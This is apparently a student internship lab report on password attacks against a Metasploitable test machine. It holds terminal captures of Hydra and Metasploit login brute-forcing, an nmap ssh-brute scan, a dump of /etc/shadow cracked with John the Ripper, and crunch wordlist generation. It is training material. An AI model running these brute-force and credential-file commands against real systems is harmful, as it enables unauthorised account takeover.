

# INTERNSHIP PROJECT 1

*08/05/2022*  
*CS\_TALAKUNCHI*

*System Hacking*  
*SHEIK ARSHAD*

# INSTRUCTIONS

*Take screen shots of each and every task mentioned and make a report of each project in PDF format only.*

## **Internship Project 1:**

### ***System Hacking***

- 1. Hydra*
- 2. auxiliary Module*
- 3. NSE Scripts*
- 4. John the ripper*
- 5. Password generating using Crunch*



# System Hacking

## 1.Hydra:

### command:

hydra -L [uname path] -P [pass path] telnet:// target Ip address

```
arshad@kali: ~/Desktop
File Actions Edit View Help

(arshad@kali)-[~/Desktop]
$ cat > usernames.txt
admin
msfadmin
system
root
user
^C

(arshad@kali)-[~/Desktop]
$ cat > password.txt
password
123456
admin
msfadmin
toor
^C

(arshad@kali)-[~/Desktop]
$ hydra -L usernames.txt -P password.txt telnet://192.168.0.148
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-08 13:13:16
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking telnet://192.168.0.148:23/
[23][telnet] host: 192.168.0.148 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-05-08 13:13:24

(arshad@kali)-[~/Desktop]
$
```

## 2. Auxiliary Module:

```
arshad@kali: ~/Desktop
File Actions Edit View Help
msf6 > use auxiliary/scanner/ssh/ssh_
use auxiliary/scanner/ssh/ssh_enum_git_keys      use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/ssh/ssh_enumusers          use auxiliary/scanner/ssh/ssh_login_pubkey
use auxiliary/scanner/ssh/ssh_identify_pubkey    use auxiliary/scanner/ssh/ssh_version
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

  Name                Current Setting  Required  Description
  ---                -
  BLANK_PASSWORDS     false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED    5               yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS        false           no        Try each user/password couple stored in the current database
  DB_ALL_PASS         false           no        Add all passwords in the current database to the list
  DB_ALL_USERS        false           no        Add all users in the current database to the list
  DB_SKIP_EXISTING    none            no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
  PASSWORD            no              no        A specific password to authenticate with
  PASS_FILE           no              no        File containing passwords, one per line
  RHOSTS              yes             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT              22             yes       The target port
  STOP_ON_SUCCESS     false           yes       Stop guessing when a credential works for a host
  THREADS             1              yes       The number of concurrent threads (max one per host)
  USERNAME            no              no        A specific username to authenticate as
  USERPASS_FILE       no              no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS        false           no        Try the username as the password for all users
  USER_FILE           no              no        File containing usernames, one per line
  VERBOSE             false           yes       Whether to print output for all attempts

msf6 auxiliary(scanner/ssh/ssh_login) > 
```

```
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE usernames.txt
USER_FILE => usernames.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE passwords.txt
PASS_FILE => passwords.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.0.148
RHOSTS => 192.168.0.148
msf6 auxiliary(scanner/ssh/ssh_login) > run
```

```
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 192.168.0.148:22 - Starting bruteforce
[+] 192.168.0.148:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 1 opened (10.0.2.15:39169 → 192.168.0.148:22 ) at 2022-05-08 13:29:55 +0530
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > 
```

### 3. NSE Scripts:

```
arshad@kali: /usr/share/nmap/scripts
File Actions Edit View Help

(arshad@kali)~[~]
$ cd /usr/share/nmap/scripts

(arshad@kali)-[/usr/share/nmap/scripts]
$ ls
acarsd-info.nse ip-geolocation-ipinfodb.nse
address-info.nse ip-geolocation-map-bing.nse
afp-brute.nse ip-geolocation-map-google.nse
afp-ls.nse ip-geolocation-map-kml.nse
afp-path-vuln.nse ip-geolocation-maxmind.nse
afp-serverinfo.nse ip-https-discover.nse
afp-showmount.nse ipidseq.nse
ajp-auth.nse ipmi-brute.nse
ajp-brute.nse ipmi-cipher-zero.nse
ajp-headers.nse ipmi-version.nse
ajp-methods.nse ipv6-multicast-mld-list.nse
ajp-request.nse ipv6-node-info.nse
allseeingeeye-info.nse ipv6-ra-flood.nse
amqp-info.nse irc-botnet-channels.nse
asn-query.nse irc-brute.nse
auth-owners.nse irc-info.nse
auth-spoof.nse irc-sasl-brute.nse
backorifice-brute.nse irc-unrealircd-backdoor.nse
backorifice-info.nse iscsi-brute.nse
bacnet-info.nse iscsi-info.nse
banner.nse isns-info.nse
bitcoin-getaddr.nse jdwp-exec.nse
bitcoin-info.nse jdwp-info.nse
bitcoinrpc-info.nse jdwp-inject.nse
bittorrent-discovery.nse jdwp-version.nse
bjnp-discover.nse knx-gateway-discover.nse
broadcast-ataoe-discover.nse knx-gateway-info.nse
broadcast-avahi-dos.nse krb5-enum-users.nse
```

```
impress-remote-discover.nse
informix-brute.nse
informix-query.nse
informix-tables.nse
ip-forwarding.nse
ip-geolocation-geoplugin.nse
ipsec-nat-discover.nse
x11-access.nse
xdmcp-discover.nse
xmlrpc-methods.nse
xmpp-brute.nse
xmpp-info.nse

(arshad@kali)-[/usr/share/nmap/scripts]
$ ls -l | grep ssh
-rw-r--r-- 1 root root 5391 Jan 18 20:24 ssh2-enum-algos.nse
-rw-r--r-- 1 root root 1200 Jan 18 20:24 ssh-auth-methods.nse
-rw-r--r-- 1 root root 3045 Jan 18 20:24 ssh-brute.nse
-rw-r--r-- 1 root root 16036 Jan 18 20:24 ssh-hostkey.nse
-rw-r--r-- 1 root root 5948 Jan 18 20:24 ssh-publickey-acceptance.nse
-rw-r--r-- 1 root root 3781 Jan 18 20:24 ssh-run.nse
-rw-r--r-- 1 root root 1423 Jan 18 20:24 sshv1.nse

(arshad@kali)-[/usr/share/nmap/scripts]
$
```



```

(arshad@kali)-[/usr/share/nmap/scripts]
$ nmap --script ssh-brute.nse -p 22 192.168.0.148
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 20:16 IST
NSE: [ssh-brute] Trying username/password pair: root:root
NSE: [ssh-brute] Trying username/password pair: admin:admin
NSE: [ssh-brute] Trying username/password pair: administrator:administrator
NSE: [ssh-brute] Trying username/password pair: webadmin:webadmin
NSE: [ssh-brute] Trying username/password pair: sysadmin:sysadmin
NSE: [ssh-brute] Trying username/password pair: netadmin:netadmin
NSE: [ssh-brute] Trying username/password pair: guest:guest
NSE: [ssh-brute] Trying username/password pair: user:user
NSE: [ssh-brute] Trying username/password pair: web:web
NSE: [ssh-brute] Trying username/password pair: test:test
NSE: [ssh-brute] Trying username/password pair: root:
NSE: [ssh-brute] Trying username/password pair: admin:
NSE: [ssh-brute] Trying username/password pair: administrator:
NSE: [ssh-brute] Trying username/password pair: webadmin:
NSE: [ssh-brute] Trying username/password pair: sysadmin:
NSE: [ssh-brute] Trying username/password pair: netadmin:
NSE: [ssh-brute] Trying username/password pair: guest:
NSE: [ssh-brute] Trying username/password pair: web:
NSE: [ssh-brute] Trying username/password pair: test:
NSE: [ssh-brute] Trying username/password pair: root:123456
NSE: [ssh-brute] Trying username/password pair: admin:123456
NSE: [ssh-brute] Trying username/password pair: administrator:123456
NSE: [ssh-brute] Trying username/password pair: webadmin:123456
NSE: [ssh-brute] Trying username/password pair: sysadmin:123456
NSE: [ssh-brute] Trying username/password pair: netadmin:123456
NSE: [ssh-brute] Trying username/password pair: guest:123456
NSE: [ssh-brute] Trying username/password pair: web:123456
NSE: [ssh-brute] Trying username/password pair: test:123456

```

```

NSE: [ssh-brute] Trying username/password pair: web:mickey
NSE: [ssh-brute] Trying username/password pair: test:mickey
NSE: [ssh-brute] Trying username/password pair: root:yellow
NSE: [ssh-brute] Trying username/password pair: admin:yellow
NSE: [ssh-brute] Trying username/password pair: administrator:yellow
NSE: [ssh-brute] Trying username/password pair: webadmin:yellow
NSE: [ssh-brute] Trying username/password pair: netadmin:yellow
NSE: [ssh-brute] Trying username/password pair: guest:yellow
NSE: [ssh-brute] Trying username/password pair: web:yellow
NSE: [ssh-brute] Trying username/password pair: test:yellow
NSE: [ssh-brute] Trying username/password pair: root:lauren
NSE: [ssh-brute] Trying username/password pair: admin:lauren
NSE: [ssh-brute] Trying username/password pair: administrator:lauren
NSE: [ssh-brute] Trying username/password pair: webadmin:lauren
NSE: [ssh-brute] usernames: Time limit 10m00s exceeded.
NSE: [ssh-brute] usernames: Time limit 10m00s exceeded.
NSE: [ssh-brute] passwords: Time limit 10m00s exceeded.
Nmap scan report for 192.168.0.148
Host is up (0.00094s latency).

```

```

PORT      STATE SERVICE
22/tcp    open  ssh
| ssh-brute:
|   Accounts:
|   | user:user - Valid credentials
|   | sysadmin:password - Valid credentials
|_ Statistics: Performed 795 guesses in 604 seconds, average tps: 1.3

Nmap done: 1 IP address (1 host up) scanned in 605.46 seconds

```

```

(arshad@kali)-[/usr/share/nmap/scripts]
$

```

## 4. John the ripper:

```
(root@kali)~[/home/arshad]
```

```
# cat /etc/shadow
```

```
root:!:19105:0:99999:7:::  
daemon:!:19105:0:99999:7:::  
bin:!:19105:0:99999:7:::  
sys:!:19105:0:99999:7:::  
sync:!:19105:0:99999:7:::  
games:!:19105:0:99999:7:::  
man:!:19105:0:99999:7:::  
lp:!:19105:0:99999:7:::  
mail:!:19105:0:99999:7:::  
news:!:19105:0:99999:7:::  
uucp:!:19105:0:99999:7:::  
proxy:!:19105:0:99999:7:::  
www-data:!:19105:0:99999:7:::  
backup:!:19105:0:99999:7:::  
list:!:19105:0:99999:7:::  
irc:!:19105:0:99999:7:::  
gnats:!:19105:0:99999:7:::  
nobody:!:19105:0:99999:7:::  
systemd-network:!:19105:0:99999:7:::  
systemd-resolve:!:19105:0:99999:7:::  
_apt:!:19105:0:99999:7:::  
mysql:!:19105:0:99999:7:::  
tss:!:19105:0:99999:7:::  
strongswan:!:19105:0:99999:7:::  
systemd-timesync:!:19105:0:99999:7:::  
redsocks:!:19105:0:99999:7:::  
rwhod:!:19105:0:99999:7:::  
iodine:!:19105:0:99999:7:::  
messagebus:!:19105:0:99999:7:::  
miredo:!:19105:0:99999:7:::  
_rpc:!:19105:0:99999:7:::  
usbmux:!:19105:0:99999:7:::
```

```
tss:!:19105:0:99999:7:::  
strongswan:!:19105:0:99999:7:::  
systemd-timesync:!:19105:0:99999:7:::  
redsocks:!:19105:0:99999:7:::  
rwhod:!:19105:0:99999:7:::  
iodine:!:19105:0:99999:7:::  
messagebus:!:19105:0:99999:7:::  
miredo:!:19105:0:99999:7:::  
_rpc:!:19105:0:99999:7:::  
usbmux:!:19105:0:99999:7:::  
tcpdump:!:19105:0:99999:7:::  
rtkit:!:19105:0:99999:7:::  
sshd:!:19105:0:99999:7:::  
dnsmasq:!:19105:0:99999:7:::  
statd:!:19105:0:99999:7:::  
avahi:!:19105:0:99999:7:::  
nm-openvpn:!:19105:0:99999:7:::  
stunnel4:!:19105:0:99999:7:::  
nm-openconnect:!:19105:0:99999:7:::  
Debian-snmpp:!:19105:0:99999:7:::  
speech-dispatcher:!:19105:0:99999:7:::  
ssllh:!:19105:0:99999:7:::  
postgres:!:19105:0:99999:7:::  
pulse:!:19105:0:99999:7:::  
saned:!:19105:0:99999:7:::  
inetsim:!:19105:0:99999:7:::  
lightdm:!:19105:0:99999:7:::  
colord:!:19105:0:99999:7:::  
geoclue:!:19105:0:99999:7:::  
king-phisher:!:19105:0:99999:7:::  
arshad:$y$j9T$rGCso85bNZibXVz4qdqfn0$NPyX8jURGy8GonNyXnim4YrXRLuLm8VVOCVi51zhK/:19105:0:99999:7:::  
system:$y$j9T$fFrUnSM1h/t/k3QLHjgfd1$XgzKJXV5kwFEeR1fn.bmyhqR7pr7Q9GqJ/T733.2at4:19121:0:99999:7:::  
toor:$y$j9T$U5X9//UZD/R0zXNjXvSDW0$9b70DEbNZ2mChLwdVf09jc6ILnWURweOnJ/W4GGn.8:19122:0:99999:7:::
```

```
(root@kali)-[/]
# cat > hashcrack.txt
root::!19105:0:99999:7:::
daemon*:19105:0:99999:7:::
bin*:19105:0:99999:7:::
sys*:19105:0:99999:7:::
sync*:19105:0:99999:7:::
games*:19105:0:99999:7:::
man*:19105:0:99999:7:::
lp*:19105:0:99999:7:::
mail*:19105:0:99999:7:::
news*:19105:0:99999:7:::
uucp*:19105:0:99999:7:::
proxy*:19105:0:99999:7:::
www-data*:19105:0:99999:7:::
backup*:19105:0:99999:7:::
list*:19105:0:99999:7:::
irc*:19105:0:99999:7:::
gnats*:19105:0:99999:7:::
nobody*:19105:0:99999:7:::
systemd-network*:19105:0:99999:7:::
systemd-resolve*:19105:0:99999:7:::
_apt*:19105:0:99999:7:::
mysql!:19105:0:99999:7:::
tss*:19105:0:99999:7:::
strongswan*:19105:0:99999:7:::
systemd-timesync*:19105:0:99999:7:::
redsocks!:19105:0:99999:7:::
rwhod*:19105:0:99999:7:::
iodine*:19105:0:99999:7:::
messagebus*:19105:0:99999:7:::
miredo*:19105:0:99999:7:::
_rpc*:19105:0:99999:7:::
```

```
mysql!:19105:0:99999:7:::
tss*:19105:0:99999:7:::
strongswan*:19105:0:99999:7:::
systemd-timesync*:19105:0:99999:7:::
redsocks!:19105:0:99999:7:::
rwhod*:19105:0:99999:7:::
iodine*:19105:0:99999:7:::
messagebus*:19105:0:99999:7:::
miredo*:19105:0:99999:7:::
_rpc*:19105:0:99999:7:::
usbmux*:19105:0:99999:7:::
tcpdump*:19105:0:99999:7:::
rtkit*:19105:0:99999:7:::
sshd*:19105:0:99999:7:::
dnsmasq*:19105:0:99999:7:::
statd*:19105:0:99999:7:::
avahi*:19105:0:99999:7:::
nm-openvpn*:19105:0:99999:7:::
stunnel4!:19105:0:99999:7:::
nm-openconnect*:19105:0:99999:7:::
Debian-snmpl!:19105:0:99999:7:::
speech-dispatcher!:19105:0:99999:7:::
ssllh!:19105:0:99999:7:::
postgres*:19105:0:99999:7:::
pulse*:19105:0:99999:7:::
saned*:19105:0:99999:7:::
inetsim*:19105:0:99999:7:::
lightdm*:19105:0:99999:7:::
colord*:19105:0:99999:7:::
geoclue*:19105:0:99999:7:::
king-phisher*:19105:0:99999:7:::
arshad:$y$j9T$rGcso85bNZibXVz4qdqfn0$NPyXu8jURgy8GonNyXnim4YrXRLulm8VVOCVi51zhK/:19105:0:99999:7:::
system:$y$j9T$FrUnSM1h/t/k3QLHjgfd1$XgzKJXV5kwFEeR1fn.bmyhqR7pr7Q9GqJ/T733.2at4:19121:0:99999:7:::
toor:$y$j9T$U5X9//UZD/R0zXNjXvSDW0$9b70DEbNzT2mChlwdVf09jc6ILnWURweOnJ/W4GGn.8:19122:0:99999:7:::^C
```



```
(root@kali)-[/]
# john --format=crypt hashcrack.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
root (toor)
1g 0:00:00:57 97.28% 1/3 (ETA: 17:47:47) 0.01741g/s 100.2p/s 100.3c/s 100.3C/s 999991953..a999991929
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

(root@kali)-[/]
# john --show hashcrack.txt
toor:root:19122:0:99999:7:::

1 password hash cracked, 0 left
```

**Username:** toor  
**Password:** root

## 5. Password generating using Crunch:



To generate passwords, containing characters:  
ABCDE01234789

**cmd:** crunch 4 5 ABCDE01234789 -o pass.txt

```
arshad@kali: ~/Desktop
File Actions Edit View Help

(arshad@kali)-[~/Desktop]
$ crunch 4 5 ABCDE01234789 -o pass.txt
Crunch will now generate the following amount of data: 2370563 bytes
2 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 399854
crunch: 100% completed generating output

(arshad@kali)-[~/Desktop]
$

(arshad@kali)-[~/Desktop]
$ crunch 4 5 ABCDE01234789 -o pa
Crunch will now generate the follo
2 MB
0 GB
0 TB
0 PB
Crunch will now generate the follo
crunch: 100% completed generating

(arshad@kali)-[~/Desktop]
$ open pass.txt

(arshad@kali)-[~/Desktop]
$
```

File	Edit	Search	View
1	AAAA		
2	AAAB		
3	AAAC		
4	AAAD		
5	AAAE		
6	AAA0		
7	AAA1		
8	AAA2		
9	AAA3		
10	AAA4		
11	AAA7		
12	AAA8		
13	AAA9		
14	AABA		
15	AABB		
16	AABC		
17	AABD		
18	AABE		
19	AAB0		
20	AAB1		
21	AAB2		
22	AAB3		



To generate passwords, of forms: Abc@#789,  
Xyz\*%986

**cmd:** crunch 8 8 -t ,@@^ ^%%%

```
(arshad@kali)-[~/Desktop]
$ crunch 8 8 -t ,@@^ ^%%%
Crunch will now generate the following amount of data: 172262376000 bytes
164282 MB
160 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 19140264000
Aaa !! 000
Aaa !! 001
Aaa !! 002
Aaa !! 003
Aaa !! 004
Aaa !! 005
Aaa !! 006
Aaa !! 007
Aaa !! 008
Aaa !! 009
Aaa !! 010
Aaa !! 011
Aaa !! 012
Aaa !! 013
Aaa !! 014
Aaa !! 015
Aaa !! 016
Aaa !! 017
Aaa !! 018
Aaa !! 019
Aaa !! 020
Aaa !! 021
Aaa !! 022
```